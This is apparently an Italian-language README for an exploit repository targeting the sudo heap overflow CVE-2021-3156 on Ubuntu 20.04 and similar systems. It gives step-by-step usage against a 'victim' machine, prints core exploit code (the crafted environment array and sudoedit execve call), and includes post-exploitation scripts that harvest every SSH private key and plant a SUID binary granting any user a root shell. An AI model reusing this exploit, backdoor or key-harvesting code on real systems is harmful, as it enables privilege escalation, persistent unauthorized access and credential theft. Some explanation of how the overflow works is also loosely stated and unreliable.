
Exploit per Ubuntu 20.04 utilizzando CVE-2021-3156 potenziato con script di post-exploitation
Exploit per Ubuntu 20.04 che utilizza CVE-2021-3156, migliorato con semplici e automatizzati script di post-exploitation
Oltre alla shell di root puoi avere:
-A file .txt con tutte le chiavi ssh id_rsa configurate sul server. Vedi lo script: get_all_ssh_keys.sh
-A eseguibile privshell che consente a qualsiasi utente di avviare una shell di root (sto lavorando per correggere l'errore gcc). Vedi lo script: create_privshell.sh
Per ottenere un risultato positivo, è necessario che la macchina vittima abbia una delle seguenti versioni di sistema operativo e Sudo:
-Ubuntu 20.04 (Sudo 1.8.31)
-Debian 10 (Sudo 1.8.27)
-Fedora 33 (Sudo 1.9.2)

Per rendere vulnerabile la mia VM, ho declassato la mia versione di sudo con il seguente comando:
$ sudo apt install sudo=1.8.31-1ubuntu1
L'exploit può funzionare finché l'accesso al sistema vittima viene ottenuto con un utente senza privilegi considerevoli.

Puoi clonare la repo sulla macchina della vittima o sulla tua macchina locale e caricarla con wget

Esegui il comando "make" per compilare i file .c secondo la vulnerabilità

Otterrai il file dell'exploit, quindi puoi eseguirlo con "./" Dopo aver eseguito l'exploit, possiamo ora vedere due file generati nella repository: uno contiene tutte le chiavi ssh registrate sul sistema e l'altro contiene il file eseguibile SUID che concede una sessione root a tutti gli utenti. (evidenziati in viola)

Potresti vedere un errore come quello seguente:

Sto ancora cercando di risolvere l'errore, ma suppongo che sia la shell a generare l'exploit. Ho provato a eseguire il comando ./create_privshell.sh da root accedendo con sudo su da un utente con i permessi appropriati e la compilazione dello script è andata a buon fine. In alternativa può essere compilato su un'altra macchina e copiato sulla vittima; è per questo che esiste una richiesta wget.
Lo script da compilare è il seguente:
echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
gcc -o privshell privshell.c
rm privshell.c
chown root:root privshell
chmod u+s privshell
Ora puoi leggere i file .txt con tutte le chiavi ssh e usare privshell finché non sistemo l'errore gcc

Scoperta da Qualys
Punteggio CVSS di 7.8
CVE-2021-3156, nota anche come vulnerabilità "Baron Samedit", è una vulnerabilità di sicurezza che colpisce il programma sudo, ampiamente utilizzato sui sistemi operativi basati su Unix. Sudo è un programma che consente agli utenti di eseguire comandi con privilegi elevati, solitamente inserendo la propria password o una password di root. La vulnerabilità è causata da un problema di buffer overflow nella funzione "sudoedit" del comando sudo, che consente agli utenti di modificare file con privilegi elevati. La vulnerabilità è stata scoperta per la prima volta nel gennaio 2021 da Qualys Research Labs e colpisce le versioni di sudo dalla 1.8.2 alla 1.8.31p2 e dalla 1.9.0 alla 1.9.5p1.
###Dettagli molto molto tecnici Info da: Qualys



In altre parole, set_cmnd() è vulnerabile a un heap-based buffer overflow, perché i caratteri fuori dai limiti copiati nel buffer "user_args" non erano inclusi nella sua dimensione (calcolata alle righe 852-853).
Per la parte dell'overflow, ho usato il file exploit.c di redhawkeye/sudo-exploit
È un po' complesso ma facilmente interpretabile.
char *env[] = {
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\",
"X/X",
concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
NULL
};
Questa parte dichiara un array di variabili d'ambiente env che verrà passato alla chiamata di sistema execve. Le variabili d'ambiente contengono una serie di backslash e una variabile appositamente costruita chiamata LC_ALL che ha il valore "C.UTF-8@" concatenato con 208 (0xd0) caratteri A. Il valore C.UTF-8@ verrà passato come variabile d'ambiente LC_ALL al comando sudoedit. I 208 caratteri A servono a far traboccare un buffer nel programma sudoedit ed eseguire codice arbitrario.
char * a = concat(str_repeat('A', 0x70),"\\");
char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
execve(argv[0], argv, env);
Questa parte dichiara una variabile a che contiene una stringa di 112 (0x70) caratteri A, seguiti da un backslash. Dichiara poi un array argv che verrà passato a execve. L'array contiene il percorso del comando sudoedit (/usr/bin/sudoedit), il flag -s e la variabile a creata sopra.
execve(argv[0], argv, env);
Questa è la chiamata di sistema execve che esegue effettivamente il comando sudoedit con gli argomenti e le variabili d'ambiente forniti. Il programma sudoedit leggerà la variabile d'ambiente LC_ALL e tenterà di interpretarla come un percorso di file. I caratteri A in eccesso verranno usati per scrivere dati arbitrari in memoria e potenzialmente eseguire codice arbitrario.
Quindi questi dati in memoria riservati all'RCE verranno usati dal nostro file shell_tool.c